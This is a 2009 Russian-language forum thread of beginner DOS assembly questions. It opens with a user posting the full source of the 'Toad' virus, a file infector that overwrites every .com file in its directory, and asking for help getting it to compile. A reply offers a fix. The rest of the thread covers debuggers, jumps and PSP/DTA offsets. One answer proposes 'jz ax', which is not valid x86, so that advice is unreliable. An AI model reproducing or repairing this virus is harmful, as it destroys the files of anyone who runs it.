 |
|

05.12.2009, 16:06
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
С нами:
8651259
Репутация:
0
|
|
короче код не компилируется, ошибка во второй строке:
org 100h
proc toad
first_fly:
mov ah,4eh
find_fly:
xor cx,cx
lea dx,comsing
int 21h
jc wart_growth
open_fly:
mov ax,3d02h
mov dx,9eh
int 21h
eat_fly:
xchg bx,ax
mov ah,40h
mov cx,norny-first_fly
lea dx,first_fly
int 21h
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
wart_growth:
mov ah,09h
mov dx,wart
int 21h
cya: int 20h
comsig db "*.com",0
wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13
db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$'
horny label near
endp
end first_fly
|
|
|

05.12.2009, 16:09
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
С нами:
8655837
Репутация:
80
|
|
proc - это макрос. подключи macro\proc32.inc
|
|
|

05.12.2009, 16:46
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
С нами:
8651259
Репутация:
0
|
|
эта программа для Dos'а или в досе тоже можно подключить macro\proc32.inc
|
|
|

06.12.2009, 00:23
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами:
8947056
Репутация:
229
|
|
Начинаю изучать асм, такой вопрос... Как просмотреть сод. регистра .com программы?(т.е. чтобы была возможность по этапно выполнять действ. и по этапно будет высвечивать сод. регистров (типа как в OllyDbg (но олька не понимает .com программ  )))
(в CodeView не разобрался)
|
|
|

06.12.2009, 18:35
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
С нами:
8651259
Репутация:
0
|
|
wolmer
Попробуй AFDPro-как раз для начинающих . Скачать можно с сайта http://kalashnikoff.ru/ или с сайта wasm.ru можешь скачать другие отладчики.
|
|
|

06.12.2009, 23:48
|
|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами:
10097606
Репутация:
3349
|
|
ну или как вариант есть старинные отладчик от борланда, иде тв комплекте с BC++ и Паскалем борландовском.
Или старинную вешь от дяди касперерского - avputil
|
|
|

10.12.2009, 10:20
|
|
Новичок
Регистрация: 02.12.2009
Сообщений: 16
С нами:
8653839
Репутация:
21
|
|
turbo debugger для начинающих вполне сойдет.
|
|
|

14.12.2009, 10:47
|
|
Новичок
Регистрация: 15.08.2009
Сообщений: 3
С нами:
8809680
Репутация:
0
|
|
Здравствуйте. Вот такой случай:
Код:
jz metka[bp] ; ?????????????
Подскажите как правильно реализовать вышеприведённое на masm. Нужен условный переход по смещению - metka плюс число в bp.
|
|
|

14.12.2009, 11:01
|
|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами:
10097606
Репутация:
3349
|
|
ну тогда как вариант вот так
mov ax, metka
add ax, bp
jz ax
Последний раз редактировалось slesh; 14.12.2009 в 11:50..
|
|
|

15.12.2009, 03:15
|
|
Новичок
Регистрация: 15.08.2009
Сообщений: 3
С нами:
8809680
Репутация:
0
|
|
Ответте пожалуста.
1. Почему при использовании переменной 4е, в PSP записывается размер найденного файла то по смещению 1а, то 9а. Аналогично имя найденного файла то 1е, то 9е. Получается разница равная адресу DTA. Какая тут связь?
2. Когда нужно узнать из запущенной программы её имя, то по PSP:002с находим сегмент переменных среды и по "[002cH]:0 плюс конец перечисления переменных" находится
имя запущенного файла.
Вопрос - где нибудь ещё храниться имя запущенной программы.
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Вопросы для новичков! (faq)
|
PEPSICOLA |
С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby |
92 |
14.05.2010 17:59 |
|
ОС с нуля
|
z01b |
С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby |
36 |
03.07.2008 15:30 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|